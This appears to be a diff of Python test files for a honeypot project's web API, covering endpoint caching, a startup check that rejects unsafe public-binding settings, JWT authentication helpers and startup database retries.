api_get_stats._reset_stats_cache()
api_get_logs._reset_total_cache()
api_get_attackers._reset_total_cache()
# ── /stats whole-response cache ──────────────────────────────────────────────
@pytest.mark.asyncio
async def test_stats_cache_collapses_concurrent_calls():
api_get_stats._reset_stats_cache()
payload = {"total_logs": 42, "unique_attackers": 7, "active_deckies": 3, "deployed_deckies": 3}
with patch.object(api_get_stats, "repo") as mock_repo:
mock_repo.get_stats_summary = AsyncMock(return_value=payload)
results = await asyncio.gather(*[api_get_stats._get_stats_cached() for _ in range(50)])
assert all(r == payload for r in results)
assert mock_repo.get_stats_summary.await_count == 1
@pytest.mark.asyncio
async def test_stats_cache_expires_after_ttl(monkeypatch):
api_get_stats._reset_stats_cache()
clock = {"t": 0.0}
monkeypatch.setattr(api_get_stats.time, "monotonic", lambda: clock["t"])
with patch.object(api_get_stats, "repo") as mock_repo:
mock_repo.get_stats_summary = AsyncMock(return_value={"total_logs": 1, "unique_attackers": 0, "active_deckies": 0, "deployed_deckies": 0})
await api_get_stats._get_stats_cached()
clock["t"] = 100.0 # past TTL
await api_get_stats._get_stats_cached()
assert mock_repo.get_stats_summary.await_count == 2
# ── /logs total-count cache ──────────────────────────────────────────────────
@pytest.mark.asyncio
async def test_logs_total_cache_collapses_concurrent_calls():
api_get_logs._reset_total_cache()
with patch.object(api_get_logs, "repo") as mock_repo:
mock_repo.get_total_logs = AsyncMock(return_value=1234)
results = await asyncio.gather(*[api_get_logs._get_total_logs_cached() for _ in range(50)])
assert all(r == 1234 for r in results)
assert mock_repo.get_total_logs.await_count == 1
@pytest.mark.asyncio
async def test_logs_filtered_count_bypasses_cache():
"""When a filter is provided, the endpoint must hit repo every time."""
api_get_logs._reset_total_cache()
with patch.object(api_get_logs, "repo") as mock_repo:
mock_repo.get_logs = AsyncMock(return_value=[])
mock_repo.get_total_logs = AsyncMock(return_value=0)
for _ in range(3):
await api_get_logs.get_logs(
limit=50, offset=0, search="needle", start_time=None, end_time=None,
user={"uuid": "u", "role": "viewer"},
)
# 3 filtered calls → 3 repo hits, all with search=needle
assert mock_repo.get_total_logs.await_count == 3
for call in mock_repo.get_total_logs.await_args_list:
assert call.kwargs["search"] == "needle"
# ── /attackers total-count cache ─────────────────────────────────────────────
@pytest.mark.asyncio
async def test_attackers_total_cache_collapses_concurrent_calls():
api_get_attackers._reset_total_cache()
with patch.object(api_get_attackers, "repo") as mock_repo:
mock_repo.get_total_attackers = AsyncMock(return_value=99)
results = await asyncio.gather(*[api_get_attackers._get_total_attackers_cached() for _ in range(50)])
assert all(r == 99 for r in results)
assert mock_repo.get_total_attackers.await_count == 1
@pytest.mark.asyncio
async def test_attackers_filtered_count_bypasses_cache():
api_get_attackers._reset_total_cache()
with patch.object(api_get_attackers, "repo") as mock_repo:
mock_repo.get_attackers = AsyncMock(return_value=[])
mock_repo.get_total_attackers = AsyncMock(return_value=0)
mock_repo.get_behaviors_for_ips = AsyncMock(return_value={})
for _ in range(3):
await api_get_attackers.get_attackers(
limit=50, offset=0, search="10.", sort_by="recent", service=None,
user={"uuid": "u", "role": "viewer"},
)
assert mock_repo.get_total_attackers.await_count == 3
for call in mock_repo.get_total_attackers.await_args_list:
assert call.kwargs["search"] == "10."

View File

@@ -0,0 +1,89 @@
"""validate_public_binding refuses footgun configs at master startup.
The validator no-ops under pytest by design (so unit tests in unrelated
modules don't have to set five env vars per fixture); these tests strip
the PYTEST_* vars before calling it so the real code path runs.
"""
from __future__ import annotations
import importlib
import sys
import pytest
def _reimport_env(monkeypatch: pytest.MonkeyPatch):
for mod in list(sys.modules):
if mod == "decnet.env" or mod.startswith("decnet.env."):
sys.modules.pop(mod)
return importlib.import_module("decnet.env")
def _strip_pytest_vars(monkeypatch: pytest.MonkeyPatch) -> None:
import os
for k in list(os.environ):
if k.startswith("PYTEST"):
monkeypatch.delenv(k, raising=False)
def test_validator_noop_on_loopback_binding(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setenv("DECNET_API_HOST", "127.0.0.1")
monkeypatch.setenv("DECNET_CORS_ORIGINS", "http://localhost:8080")
env = _reimport_env(monkeypatch)
_strip_pytest_vars(monkeypatch)
env.validate_public_binding() # no raise
def test_validator_rejects_loopback_cors_on_public_bind(
monkeypatch: pytest.MonkeyPatch,
) -> None:
monkeypatch.setenv("DECNET_API_HOST", "0.0.0.0")
monkeypatch.setenv("DECNET_CORS_ORIGINS", "http://localhost:8080")
env = _reimport_env(monkeypatch)
_strip_pytest_vars(monkeypatch)
with pytest.raises(ValueError, match="loopback origin"):
env.validate_public_binding()
def test_validator_accepts_public_cors_on_public_bind(
monkeypatch: pytest.MonkeyPatch,
) -> None:
monkeypatch.setenv("DECNET_API_HOST", "0.0.0.0")
monkeypatch.setenv("DECNET_CORS_ORIGINS", "https://dashboard.example.com")
env = _reimport_env(monkeypatch)
_strip_pytest_vars(monkeypatch)
env.validate_public_binding() # no raise
def test_validator_rejects_plaintext_canary_on_public_bind(
monkeypatch: pytest.MonkeyPatch,
) -> None:
monkeypatch.setenv("DECNET_API_HOST", "0.0.0.0")
monkeypatch.setenv("DECNET_CORS_ORIGINS", "https://dashboard.example.com")
monkeypatch.setenv("DECNET_CANARY_HTTP_BASE", "http://canary.example.com:8088")
env = _reimport_env(monkeypatch)
_strip_pytest_vars(monkeypatch)
with pytest.raises(ValueError, match="plaintext HTTP"):
env.validate_public_binding()
def test_validator_allows_loopback_canary_even_on_public_bind(
monkeypatch: pytest.MonkeyPatch,
) -> None:
# Local canary endpoint behind the master is fine; only public-facing
# plaintext is the footgun.
monkeypatch.setenv("DECNET_API_HOST", "0.0.0.0")
monkeypatch.setenv("DECNET_CORS_ORIGINS", "https://dashboard.example.com")
monkeypatch.setenv("DECNET_CANARY_HTTP_BASE", "http://localhost:8088")
env = _reimport_env(monkeypatch)
_strip_pytest_vars(monkeypatch)
env.validate_public_binding() # no raise
def test_validator_skips_under_pytest(monkeypatch: pytest.MonkeyPatch) -> None:
# With PYTEST_* still in env (default), even a misconfigured env passes —
# this is the deliberate bypass so unrelated tests don't trip on it.
monkeypatch.setenv("DECNET_API_HOST", "0.0.0.0")
monkeypatch.setenv("DECNET_CORS_ORIGINS", "http://localhost:8080")
env = _reimport_env(monkeypatch)
env.validate_public_binding() # no raise — guard short-circuits

159
tests/web/test_web_api.py Normal file
View File

@@ -0,0 +1,159 @@
"""
Tests for decnet/web/api.py lifespan and decnet/web/dependencies.py auth helpers.
"""
import asyncio
from unittest.mock import AsyncMock, MagicMock, patch
import pytest
from decnet.web.auth import create_access_token
# ── get_current_user ──────────────────────────────────────────────────────────
class TestGetCurrentUser:
@pytest.mark.asyncio
async def test_valid_token(self):
from decnet.web.dependencies import get_current_user
token = create_access_token({"uuid": "test-uuid-123"})
request = MagicMock()
request.headers = {"Authorization": f"Bearer {token}"}
result = await get_current_user(request)
assert result == "test-uuid-123"
@pytest.mark.asyncio
async def test_no_auth_header(self):
from fastapi import HTTPException
from decnet.web.dependencies import get_current_user
request = MagicMock()
request.headers = {}
with pytest.raises(HTTPException) as exc_info:
await get_current_user(request)
assert exc_info.value.status_code == 401
@pytest.mark.asyncio
async def test_invalid_jwt(self):
from fastapi import HTTPException
from decnet.web.dependencies import get_current_user
request = MagicMock()
request.headers = {"Authorization": "Bearer invalid-token"}
with pytest.raises(HTTPException) as exc_info:
await get_current_user(request)
assert exc_info.value.status_code == 401
@pytest.mark.asyncio
async def test_missing_uuid_in_payload(self):
from fastapi import HTTPException
from decnet.web.dependencies import get_current_user
token = create_access_token({"sub": "no-uuid-field"})
request = MagicMock()
request.headers = {"Authorization": f"Bearer {token}"}
with pytest.raises(HTTPException) as exc_info:
await get_current_user(request)
assert exc_info.value.status_code == 401
@pytest.mark.asyncio
async def test_bearer_prefix_required(self):
from fastapi import HTTPException
from decnet.web.dependencies import get_current_user
token = create_access_token({"uuid": "test-uuid"})
request = MagicMock()
request.headers = {"Authorization": f"Token {token}"}
with pytest.raises(HTTPException):
await get_current_user(request)
# ── get_stream_user ───────────────────────────────────────────────────────────
class TestGetStreamUser:
@pytest.mark.asyncio
async def test_bearer_header(self):
from decnet.web.dependencies import get_stream_user
token = create_access_token({"uuid": "stream-uuid"})
request = MagicMock()
request.headers = {"Authorization": f"Bearer {token}"}
result = await get_stream_user(request, token=None)
assert result == "stream-uuid"
@pytest.mark.asyncio
async def test_query_param_fallback(self):
from decnet.web.dependencies import get_stream_user
token = create_access_token({"uuid": "query-uuid"})
request = MagicMock()
request.headers = {}
result = await get_stream_user(request, token=token)
assert result == "query-uuid"
@pytest.mark.asyncio
async def test_no_token_raises(self):
from fastapi import HTTPException
from decnet.web.dependencies import get_stream_user
request = MagicMock()
request.headers = {}
with pytest.raises(HTTPException) as exc_info:
await get_stream_user(request, token=None)
assert exc_info.value.status_code == 401
@pytest.mark.asyncio
async def test_invalid_token_raises(self):
from fastapi import HTTPException
from decnet.web.dependencies import get_stream_user
request = MagicMock()
request.headers = {}
with pytest.raises(HTTPException):
await get_stream_user(request, token="bad-token")
@pytest.mark.asyncio
async def test_missing_uuid_raises(self):
from fastapi import HTTPException
from decnet.web.dependencies import get_stream_user
token = create_access_token({"sub": "no-uuid"})
request = MagicMock()
request.headers = {"Authorization": f"Bearer {token}"}
with pytest.raises(HTTPException):
await get_stream_user(request, token=None)
# ── web/api.py lifespan ──────────────────────────────────────────────────────
class TestLifespan:
@pytest.mark.asyncio
async def test_lifespan_startup_and_shutdown(self):
from decnet.web.api import lifespan
mock_app = MagicMock()
mock_repo = MagicMock()
mock_repo.initialize = AsyncMock()
with patch("decnet.web.api.repo", mock_repo):
with patch("decnet.web.api.log_ingestion_worker", return_value=asyncio.sleep(0)):
with patch("decnet.web.api.log_collector_worker", return_value=asyncio.sleep(0)):
with patch("decnet.web.api.attacker_profile_worker", return_value=asyncio.sleep(0)):
async with lifespan(mock_app):
mock_repo.initialize.assert_awaited_once()
@pytest.mark.asyncio
async def test_lifespan_db_retry(self):
from decnet.web.api import lifespan
mock_app = MagicMock()
mock_repo = MagicMock()
_call_count: int = 0
async def _failing_init():
nonlocal _call_count
_call_count += 1
if _call_count < 3:
raise Exception("DB locked")
mock_repo.initialize = _failing_init
with patch("decnet.web.api.repo", mock_repo):
# Patch only the local _retry_sleep binding — patching
# `asyncio.sleep` globally would starve the heartbeat loop's
# own sleep and leak the task past the test's lifetime.
with patch("decnet.web.api._retry_sleep", new_callable=AsyncMock):
with patch("decnet.web.api.log_ingestion_worker", return_value=asyncio.sleep(0)):
with patch("decnet.web.api.log_collector_worker", return_value=asyncio.sleep(0)):
with patch("decnet.web.api.attacker_profile_worker", return_value=asyncio.sleep(0)):
async with lifespan(mock_app):
assert _call_count == 3